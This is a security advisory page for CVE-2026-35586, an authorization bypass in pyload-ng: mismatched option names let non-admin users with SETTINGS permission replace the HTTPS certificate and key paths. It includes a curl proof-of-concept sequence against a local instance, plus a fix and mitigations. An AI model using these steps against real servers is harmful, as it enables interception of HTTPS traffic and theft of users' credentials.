CVE-2026-35586 — pyload-ng
MEDIUMCVE-2026-35586 is a medium-severity (CVSS 6.8) CWE-863 vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
pyload-ng: Authorization Bypass for SSL Certificate/Key Configuration Due to Option Name Mismatch in pyload-ng
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35586.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The ADMIN_ONLY_CORE_OPTIONS authorization set in set_config_value() uses incorrect option names ssl_cert and ssl_key, while the actual configuration option names are ssl_certfile and ssl_keyfile. This name mismatch causes the admin-only check to always evaluate to False, allowing any user with SETTINGS permission to overwrite the SSL certificate and key file paths. Additionally, the ssl_certchain option was never added to the admin-only set at all.
Details
The vulnerability is in src/pyload/core/api/__init__.py. The ADMIN_ONLY_CORE_OPTIONS set is defined at lines 237-248:
ADMIN_ONLY_CORE_OPTIONS = {
("general", "storage_folder"),
("log", "syslog_host"),
("log", "syslog_port"),
("proxy", "password"),
("proxy", "username"),
("reconnect", "script"),
("webui", "host"),
("webui", "ssl_cert"), # BUG: should be "ssl_certfile"
("webui", "ssl_key"), # BUG: should be "ssl_keyfile"
("webui", "use_ssl"),
}
# NOTE: ("webui", "ssl_certchain") is entirely missing
The actual config option names are defined in src/pyload/core/config/default.cfg:39-41:
file ssl_certfile : "SSL Certificate" = ssl.crt
file ssl_keyfile : "SSL Key" = ssl.key
file ssl_certchain : "CA's intermediate certificate bundle (optional)" =
The authorization check at line 267 compares the incoming (category, option) tuple against this set:
if (category, option) in ADMIN_ONLY_CORE_OPTIONS and not is_admin:
self.pyload.log.error(...)
return
When a request arrives with option=ssl_certfile, the check evaluates ("webui", "ssl_certfile") in ADMIN_ONLY_CORE_OPTIONS which is False because the set contains ("webui", "ssl_cert"), not ("webui", "ssl_certfile"). The admin-only guard is bypassed and config.set() at line 271 proceeds to write the attacker-supplied value.
The value is cast as a file type in parser.py:300-305, which resolves it via os.path.realpath() but performs no further validation:
elif typ in ("file", "folder"):
return (
""
if value in (None, "")
else os.path.realpath(os.path.expanduser(os.fsdecode(value)))
)
On server restart with SSL enabled, the webserver loads the attacker-controlled paths (webserver_thread.py:22-23,51-52):
self.certfile = self.pyload.config.get("webui", "ssl_certfile")
self.keyfile = self.pyload.config.get("webui", "ssl_keyfile")
# ...
self.server.ssl_adapter = BuiltinSSLAdapter(
self.certfile, self.keyfile, self.certchain
)
PoC
Prerequisites: A pyLoad instance with SSL enabled and a non-admin user account that has SETTINGS permission.
Step 1: Authenticate as the non-admin user to get a session cookie:
curl -c cookies.txt -X POST 'http://localhost:8000/login' \
-d 'username=settingsuser&password=password123'
Step 2: Set the SSL certificate to an attacker-controlled file path:
curl -b cookies.txt -X POST 'http://localhost:8000/json/save_config' \
-H 'Content-Type: application/json' \
-d '{"category": "core", "config": {"webui|ssl_certfile": "/tmp/attacker.crt"}}'
Expected response: true (config saved successfully)
Step 3: Set the SSL key to an attacker-controlled file path:
curl -b cookies.txt -X POST 'http://localhost:8000/json/save_config' \
-H 'Content-Type: application/json' \
-d '{"category": "core", "config": {"webui|ssl_keyfile": "/tmp/attacker.key"}}'
Expected response: true (config saved successfully)
Step 4: Set the SSL certificate chain (never protected):
curl -b cookies.txt -X POST 'http://localhost:8000/json/save_config' \
-H 'Content-Type: application/json' \
-d '{"category": "core", "config": {"webui|ssl_certchain": "/tmp/attacker-chain.crt"}}'
Expected response: true (config saved successfully)
Step 5: After the server restarts, it will load the attacker's certificate and key for all HTTPS connections.
Impact
A non-admin user with SETTINGS permission can replace the SSL certificate and key used by the pyLoad HTTPS server. When the server restarts (or is restarted by an admin), it will serve HTTPS using the attacker's certificate/key pair. This enables:
- Man-in-the-Middle attacks: The attacker, possessing the private key for the now-active certificate, can intercept and decrypt all HTTPS traffic to the pyLoad instance, including admin credentials and session tokens.
- Credential theft: All users (including admins) connecting over HTTPS will have their credentials exposed to the attacker.
- Configuration tampering: With intercepted admin credentials, the attacker can escalate to full admin access.
The attack requires SSL to already be enabled by an admin (the use_ssl option is correctly protected), the attacker to place certificate/key files on the filesystem (potentially achievable via pyLoad's download functionality), and a server restart.
Recommended Fix
Fix the option names in ADMIN_ONLY_CORE_OPTIONS and add the missing ssl_certchain option in src/pyload/core/api/__init__.py:
ADMIN_ONLY_CORE_OPTIONS = {
("general", "storage_folder"),
("log", "syslog_host"),
("log", "syslog_port"),
("proxy", "password"),
("proxy", "username"),
("reconnect", "script"),
("webui", "host"),
("webui", "ssl_certfile"), # Fixed: was "ssl_cert"
("webui", "ssl_keyfile"), # Fixed: was "ssl_key"
("webui", "ssl_certchain"), # Added: was missing entirely
("webui", "use_ssl"),
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev97pip install --upgrade 'pyload-ng==0.5.0b3.dev97' |
Affected Products
pyload-ngpyload-ng_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev97 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35586 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-35586 in your dependencies?
Find it across PyPI, including transitive dependencies.